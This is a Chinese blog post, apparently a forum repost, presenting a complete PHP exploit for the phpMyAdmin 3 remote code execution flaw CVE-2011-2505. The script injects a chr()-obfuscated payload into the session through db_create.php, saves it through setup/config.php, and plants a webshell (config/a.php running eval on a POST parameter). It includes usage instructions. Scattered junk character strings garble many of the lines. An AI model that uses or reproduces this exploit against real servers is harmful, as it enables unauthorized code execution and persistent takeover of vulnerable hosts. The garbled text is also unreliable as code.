phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
; M/ w8 a+ B( _6 i& P- @4 [& ~
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

$ o1 O3 `' A6 J( L. f首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
6 E7 |0 ^7 Y8 m/ @4 {一是session.auto_start = 1；
2 \! I, y% |, N& K二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
, p! x4 v' P1 c3 c4 {/ h( d
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
5 o9 s1 @/ q8 |! v" g
6 q& v' n  r4 O6 e# g+ @/ m6 g于是写了这个php版本的exp，代码如下：
+ t+ W+ p+ S7 q1 Q# \% v8 J
#!/usr/bin/php
# d/ ~! p' K6 |: s9 o<?php
print_r('
8 }9 l7 g0 y* h9 a+ i, T+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
: O4 ~' b! U0 eby oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
8 u; J1 }1 V0 K! m4 a2 g0 Y% h6 S+---------------------------------------------------------------------------+
" a4 V% ]) @8 j');
: H. @. C" R6 G  P' P5 v4 b
9 K; f; W. r, k9 D/**
* working when the directory:"config" exists and is writeable.
# T9 ~* O  `* g**/

if ($argc < 3) {
+ K6 K+ w8 n9 g, x( T+ d9 D: f    print_r('
! x7 B. r8 e2 p- i  ~6 R, c+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
+ Q! f6 `1 X) VExample:
: i7 s* C. J+ N6 i: {php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
');
+ v  F8 D/ ]: }( ^9 S    exit;
}

/ M$ y! L2 z' s; _$host = $argv[1];
2 l3 Q' x/ H' ?: B* @$path = $argv[2];

) M- U6 ]. i+ b  ^- {5 e, e7 O/**
* Try to determine if the directory:"config" exists
& o4 y0 C& n7 ~+ \# w% y! d**/
2 o) Z7 ]: b6 F4 S" ~' T3 I2 _echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
0 l- ~0 a* c( u/ C7 A  t- w$ b    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
. f) l, }. q7 F4 C
/**
* Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
% U: [/ O$ X. m5 a$ O$result=php_request('index.php');
0 r! f! k* r+ g' |preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
, r, t7 x. H5 R1 D6 E! w& z$token=$resp[3];
( u2 I& ]! \3 _6 r$sessionid=$resp[1];
9 S8 z( N& J8 F2 v) _, i# }) bif($token && $sessionid){
    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
}else{
6 a1 w/ {) u/ ]* d# X6 M5 P  [    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
& m& v) O/ n  @! `+ Y3 Z( S}

- y' p2 \# _6 R$ N- E/**
# d& R8 E+ I4 B0 K# e! y& Q  b0 p5 B * Try to insert shell into session
. u" x( H7 C0 I" k! V$ ~  D+ z**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

) `1 y- A* A6 h! N6 n* E/**
+ x, }6 A% Z1 c8 \0 _, @$ L4 b * Try to create webshell
# H) o* _( ]/ r0 C**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
& l; J3 G8 B" G9 d2 z  {& }6 w/**
* Try to check if the webshell was created successfully
: }4 M1 }4 w8 C; A  e, r**/
# h9 o! e- A& b0 g6 v# {: p9 Y( ?echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
4 U. H9 ?+ ^' s, kif(strpos($content,'t00ls')){
# {8 t& l# D" t, _" k( `. Z    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}
& t% w/ I; [  q! p. w- a
function php_request($url,$data='',$cookie=''){
9 g* Y9 ^* _0 }$ E    global  $host, $path;
/ u% `3 q8 x5 E( L   
5 ^) I1 S$ c% f* A    $method=$data?'POST':'GET';
   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
9 f) [  t/ a* W( K6 L& V    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
9 U6 m' z/ V6 D6 \& ]    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
% a0 M# G$ ^# n( R; x  {5 o    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

' _  @! w' m- b    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
    echo 'No response from '.$host; die;
    }
% w% V, u/ R; a2 Z% _6 ~    fputs($fp, $packet);
' D- ~5 |; S5 h9 a' j$ ], }
- a& V' d4 L3 ?) I+ V    $resp = '';

    while ($fp && !feof($fp))
# A5 H! i6 U, V- Q6 V# r        $resp .= fread($fp, 1024);
8 M0 u% ^2 c. ?- ~" o) x' C
/ a5 H% @* D! S5 ?4 V7 i    return $resp;
}
   
+ l0 L, t% ~4 U?>
.